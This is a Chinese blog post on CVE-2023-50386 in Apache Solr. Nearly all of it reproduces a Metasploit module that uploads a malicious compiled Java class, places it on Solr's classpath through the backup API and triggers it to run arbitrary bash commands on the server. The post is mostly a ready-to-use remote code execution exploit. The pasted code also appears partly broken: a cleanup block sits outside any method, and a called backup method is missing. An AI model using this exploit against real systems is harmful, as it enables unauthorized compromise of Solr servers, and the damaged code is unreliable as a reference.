CVE-2023-50386 | Apache Solr
免责声明:本文所涉及的信息安全技术知识仅供参考和学习之用,并不构成任何明示或暗示的保证。读者在使用本文提供的信息时,应自行判断其适用性,并承担由此产生的一切风险和责任。本平台,本文作者与发布者对于读者基于本文内容所做出的任何行为或决定不承担任何责任。在任何情况下,本文作者不对因使用本文内容而导致的任何直接、间接、特殊或后果性损失承担责任。读者在使用本文内容时应当遵守当地法律法规,并保证不违反任何相关法律法规。
影响描述
Apache Solr在创建Collection时会以一个特定的目录作为classpath,从中加载一些类,而Collection的备份功能可以导出攻击者上传的恶意class文件到该目录,从而让Solr加载自定义class,造成任意Java代码执行,可以进一步绕过Solr配置的Java沙箱,最终造成任意命令执行。
poc&exp
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Java
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::ApacheSolr
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apache Solr Backup/Restore APIs RCE',
'Description' => %q{
Apache Solr from 6.0.0 through 8.11.2, from 9.0.0 before 9.4.1 is affected by an Unrestricted Upload of File
with Dangerous Type vulnerability which can result in remote code execution in the context of the user running
Apache Solr. When Apache Solr creates a Collection, it will use a specific directory as the classpath and load
some classes from it. The backup function of the Collection can export malicious class files uploaded by
attackers to the directory, allowing Solr to load custom classes and create arbitrary Java code. Execution
can further bypass the Java sandbox configured by Solr, ultimately causing arbitrary command execution.
},
'Author' => [
'l3yx', # discovery
'jheysel-r7' # module
],
'References' => [
[ 'URL', 'https://xz.aliyun.com/t/13637?time__1311=mqmxnQ0QiQi%3DDtKDsD7md0%3DnxeqjghDMxTD'],
[ 'URL', 'https://github.com/rapid7/metasploit-framework/issues/18919'],
[ 'URL', 'https://github.com/vvmdx/Apache-Solr-RCE_CVE-2023-50386_POC'],
[ 'CVE', '2023-50386']
],
'License' => MSF_LICENSE,
'Platform' => %w[unix linux],
'Privileged' => false,
'Arch' => [ ARCH_CMD ],
'Targets' => [
[
'Unix Command',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD
}
]
],
'Payload' => {
'BadChars' => "\x20"
},
'DefaultTarget' => 0,
'DefaultOptions' => {
'FETCH_WRITABLE_DIR' => '/tmp/'
},
'DisclosureDate' => '2024-02-24',
'Notes' => {
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES],
'Reliability' => [ REPEATABLE_SESSION, ]
}
)
)
register_options(
[
Opt::RPORT(8983),
OptString.new('USERNAME', [false, 'Solr username', 'solr']),
OptString.new('PASSWORD', [false, 'Solr password']),
OptString.new('TARGETURI', [false, 'Path to Solr', 'solr']),
]
)
end
# If authentication is used
@auth_string = ''
def check
print_status('Running check method')
auth_res = solr_check_auth
unless auth_res
return CheckCode::Unknown('Authentication failed!')
end
# convert to JSON
ver_json = auth_res.get_json_document
# get Solr version
solr_version = Rex::Version.new(ver_json['lucene']['solr-spec-version'])
print_status("Found Apache Solr #{solr_version}")
# get OS version details
@target_platform = ver_json['system']['name']
target_arch = ver_json['system']['arch']
target_osver = ver_json['system']['version']
print_status("OS version is #{@target_platform} #{target_arch} #{target_osver}")
unless solr_version.between?(Rex::Version.new('6.0.0'), Rex::Version.new('8.11.2')) ||
solr_version.between?(Rex::Version.new('9.0.0'), Rex::Version.new('9.4.0'))
return CheckCode::Safe('Running version of Solr is not vulnerable!')
end
CheckCode::Appears("Found Apache Solr version: #{ver_json['lucene']['solr-spec-version']}")
end
# This method returns the compiled byte code of the following class, SourceParser.java:
#
# package zk_backup_0.configs.confname;
#
# import sun.misc.Unsafe;
# import java.io.BufferedReader;
# import java.io.File;
# import java.io.FileOutputStream;
# import java.io.InputStreamReader;
# import java.lang.reflect.Field;
# import java.lang.reflect.Method;
# import java.security.ProtectionDomain;
# import java.util.Map;
#
#
# public class SourceParser {
#
# static {
# try {
# Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
# unsafeField.setAccessible(true);
# Unsafe unsafe = (Unsafe) unsafeField.get(null);
# Module module = Object.class.getModule();
# Class<?> currentClass = SourceParser.class;
# long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
# unsafe.getAndSetObject(currentClass, addr, module);
#
# String[] cmd = {"bash", "-c", "METASPLOIT_PAYLOAD" };
# Class clz = Class.forName("java.lang.ProcessImpl");
# Method method = clz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
# method.setAccessible(true);
# Process process = (Process) method.invoke(clz, cmd, null, null, null, false);
# } catch (Exception e) {
# e.printStackTrace();
# }
# }
# }
def go_go_gadget(configuration1_name)
gadget = ''
gadget << 'yv66vgAAAD0AaQoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClW'
gadget << 'BwAIAQAPc3VuL21pc2MvVW5zYWZlCAAKAQAJdGhlVW5zYWZlCgAMAA0HAA4MAA8AEAEAD2phdmEv'
gadget << 'bGFuZy9DbGFzcwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZh'
gadget << 'L2xhbmcvcmVmbGVjdC9GaWVsZDsKABIAEwcAFAwAFQAWAQAXamF2YS9sYW5nL3JlZmxlY3QvRmll'
gadget << 'bGQBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgoAEgAYDAAZABoBAANnZXQBACYoTGphdmEvbGFuZy9P'
gadget << 'YmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwoADAAcDAAdAB4BAAlnZXRNb2R1bGUBABQoKUxqYXZh'
gadget << 'L2xhbmcvTW9kdWxlOwcAIAEAKXprX2JhY2t1cF8wL2NvbmZpZ3MvY29uZm5hbWUvU291cmNlUGFy'
gadget << 'c2VyCAAiAQAGbW9kdWxlCgAHACQMACUAJgEAEW9iamVjdEZpZWxkT2Zmc2V0AQAcKExqYXZhL2xh'
gadget << 'bmcvcmVmbGVjdC9GaWVsZDspSgoABwAoDAApACoBAA9nZXRBbmRTZXRPYmplY3QBADkoTGphdmEv'
gadget << 'bGFuZy9PYmplY3Q7SkxqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHACwBABBq'
gadget << 'YXZhL2xhbmcvU3RyaW5nCAAuAQAEYmFzaAgAMAEAAi1jCAAyAQASTUVUQVNQTE9JVF9QQVlMT0FE'
gadget << 'CAA0AQAVamF2YS5sYW5nLlByb2Nlc3NJbXBsCgAMADYMADcAOAEAB2Zvck5hbWUBACUoTGphdmEv'
gadget << 'bGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7CAA6AQAFc3RhcnQHADwBABNbTGphdmEvbGFu'
gadget << 'Zy9TdHJpbmc7BwA+AQANamF2YS91dGlsL01hcAcAQAEAJFtMamF2YS9sYW5nL1Byb2Nlc3NCdWls'
gadget << 'ZGVyJFJlZGlyZWN0OwkAQgBDBwBEDABFAEYBABFqYXZhL2xhbmcvQm9vbGVhbgEABFRZUEUBABFM'
gadget << 'amF2YS9sYW5nL0NsYXNzOwoADABIDABJAEoBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9s'
gadget << 'YW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsK'
gadget << 'AEwAEwcATQEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAoAQgBPDABQAFEBAAd2YWx1ZU9mAQAW'
gadget << 'KFopTGphdmEvbGFuZy9Cb29sZWFuOwoATABTDABUAFUBAAZpbnZva2UBADkoTGphdmEvbGFuZy9P'
gadget << 'YmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHAFcBABFqYXZhL2xh'
gadget << 'bmcvUHJvY2VzcwcAWQEAE2phdmEvbGFuZy9FeGNlcHRpb24KAFgAWwwAXAAGAQAPcHJpbnRTdGFj'
gadget << 'a1RyYWNlAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJs'
gadget << 'ZQEAClNvdXJjZUZpbGUBABFTb3VyY2VQYXJzZXIuamF2YQEADElubmVyQ2xhc3NlcwcAZQEAIWph'
gadget << 'dmEvbGFuZy9Qcm9jZXNzQnVpbGRlciRSZWRpcmVjdAcAZwEAGGphdmEvbGFuZy9Qcm9jZXNzQnVp'
gadget << 'bGRlcgEACFJlZGlyZWN0ACEAHwACAAAAAAACAAEABQAGAAEAXQAAAB0AAQABAAAABSq3AAGxAAAA'
gadget << 'AQBeAAAABgABAAAADgAIAF8ABgABAF0AAAEaAAYACgAAAK8SBxIJtgALSyoEtgARKgG2ABfAAAdM'
gadget << 'EgK2ABtNEh9OKxIMEiG2AAu2ACM3BCstFgQstgAnVwa9ACtZAxItU1kEEi9TWQUSMVM6BhIzuAA1'
gadget << 'OgcZBxI5CL0ADFkDEjtTWQQSPVNZBRIrU1kGEj9TWQeyAEFTtgBHOggZCAS2AEsZCBkHCL0AAlkD'
gadget << 'GQZTWQQBU1kFAVNZBgFTWQcDuABOU7YAUsAAVjoJpwAISyq2AFqxAAEAAACmAKkAWAACAF4AAABC'
gadget << 'ABAAAAASAAgAEwANABQAFgAVABwAFgAfABcALAAYADUAGgBKABsAUQAcAHgAHQB+AB4ApgAhAKkA'
gadget << 'HwCqACAArgAiAGAAAAAJAAL3AKkHAFgEAAIAYQAAAAIAYgBjAAAACgABAGQAZgBoBAk='
gadget = Rex::Text.decode_base64(gadget)
# Replace 'confname' with our randomized 8 character configuration name
gadget.sub!('confname', configuration1_name)
# Replace the placeholder payload with our packed payload which is prefixed with it's size.
gadget.sub!("\x00\x12METASPLOIT_PAYLOAD", packed_payload(payload.encoded))
end
def packed_payload(pload)
"#{[pload.length].pack('n')}#{pload}"
end
def create_zip
zip_file = Rex::Zip::Archive.new
directory_to_zip = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-50386', 'conf')
Dir.glob(File.join(directory_to_zip, '**', '*')).each do |file_path|
if File.file?(file_path)
relative_path = file_path.sub("#{directory_to_zip}/", '') # Get relative path
file_contents = File.read(file_path)
zip_file.add_file(relative_path, file_contents)
elsif File.directory?(file_path)
relative_path = file_path.sub("#{directory_to_zip}/", '') # Get relative path
zip_file.add_file(relative_path, nil, recursive: true)
end
end
zip_file
end
def upload_conf(file_name, zip_archive, conf_name)
mime = Rex::MIME::Message.new
mime.add_part(zip_archive, 'application/octet-stream', 'binary', "form-data; filename=\"#{file_name}\"")
res = solr_post({
'uri' => normalize_uri(target_uri.path, 'admin', 'configs'),
'method' => 'POST',
'ctype' => 'application/octet-stream',
'data' => zip_archive,
'auth' => @auth_string,
'vars_get' => {
'action' => 'UPLOAD',
'name' => conf_name
}
})
fail_with(Failure::UnexpectedReply, 'No response from the target') unless res
fail_with(Failure::UnexpectedReply, "Unexpected response code: #{res.code}") unless res.code == 200
data = res.get_json_document
if data.dig('responseHeader', 'status') == 0
print_good('Uploaded configuration successfully')
elsif data.dig('error', 'msg')
fail_with(Failure::UnexpectedReply, "Failed to upload configuration. Target responded with error: #{data['error']['msg']}")
else
fail_with(Failure::UnexpectedReply, "Failed to upload configuration: #{conf_name} to the target")
end
res
end
def create_collection(collection_name, configuration_name)
solr_get({
'uri' => normalize_uri(target_uri.path, 'admin', 'collections'),
'method' => 'GET',
'auth' => @auth_string,
'vars_get' => {
'action' => 'CREATE',
'name' => collection_name,
'numShards' => 1,
'replicationFactor' => 1,
'wt' => 'json',
'collection.configName' => configuration_name
}
})
end
if @conf1_res&.code == 200
delete_conf1_res = solr_get({
'uri' => normalize_uri(target_uri.path, 'admin', 'configs'),
'method' => 'GET',
'auth' => @auth_string,
'vars_get' => {
'action' => 'DELETE',
'name' => @configuration1_name
}
})
print_error("Unable to delete config: #{@configuration1_name}") unless delete_conf1_res&.code == 200
end
if @conf2_res&.code == 200
delete_conf2_res = solr_get({
'uri' => normalize_uri(target_uri.path, 'admin', 'configs'),
'method' => 'GET',
'auth' => @auth_string,
'vars_get' => {
'action' => 'DELETE',
'name' => @configuration2_name
}
})
print_error("Unable to delete config: #{@configuration2_name}") unless delete_conf2_res&.code == 200
end
end
def exploit
@collection1_name = Rex::Text.rand_text_alpha(8)
@configuration1_name = Rex::Text.rand_text_alpha_lower(8)
@collection2_name = Rex::Text.rand_text_alpha(8)
# Zip up conf1
conf1_zip = create_zip
conf1_zip.add_file('SourceParser.class', go_go_gadget(@configuration1_name))
conf1_zip.add_file('solrconfig.xml', File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-50386', 'solrconfig.xml')))
# Upload conf1
@conf1_res = upload_conf(@configuration1_name + '.zip', conf1_zip.pack, @configuration1_name)
# Create collection from conf1
@collection_res = create_collection(@collection1_name, @configuration1_name)
fail_with(Failure::UnexpectedReply, 'No response from the target') unless @collection_res
data = @collection_res.get_json_document
if @collection_res.code == 200 && data['responseHeader']['status'] == 0
vprint_good('Created collection successfully')
elsif data['error']['msg']
fail_with(Failure::UnexpectedReply, "Failed to upload configuration. Target responded with error: #{data['error']['msg']}")
else
fail_with(Failure::UnexpectedReply, "Failed to create collection: #{collection_name} successfully")
end
# Backup collection and export conf1
location = '/var/solr/data/'
backup_name = "#{@collection2_name}_shard1_replica_n1"
backup_collection(@collection1_name, location, backup_name)
# Now you need to export it again through the backup and interface `collection1` note the changes in `location` and `name`:
location = "/var/solr/data/#{backup_name}"
backup_name = 'lib'
backup_collection(@collection1_name, location, backup_name)
# Zip up conf2
conf2_zip = create_zip
editted_solrconfig = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-50386', 'solrconfig.xml'))
editted_solrconfig = editted_solrconfig.gsub('</config>', " <valueSourceParser name=\"myfunc\" class=\"zk_backup_0.configs.#{@configuration1_name}.SourceParser\" />\n</config>")
conf2_zip.add_file('solrconfig.xml', editted_solrconfig)
# Upload conf2
@configuration2_name = Rex::Text.rand_text_alpha(8)
@conf2_res = upload_conf('conf2.zip', conf2_zip.pack, @configuration2_name)
# Attempt to create a collection from conf2 which will load the SourceParser.class we uploaded as a port of the
# first conf1 which will then cause an error as it executes our malicious class (the collection does not get created)
res = create_collection(@collection2_name, @configuration2_name)
fail_with(Failure::UnexpectedReply, 'No response from the target') unless res
data = res&.get_json_document
if res.code == 400 && data['error']['msg'] == "Underlying core creation failed while creating collection: #{@collection2_name}"
print_good('Successfully dropped the payload')
else
fail_with(Failure::UnexpectedReply, "Failed to create collection: #{@configuration2_name} successfully")
end
end
end
本文是原创文章,采用 CC BY-NC-ND 4.0 协议,完整转载请注明来自 程序员小航
评论
匿名评论
隐私政策
你无需删除空行,直接评论以获取最佳展示效果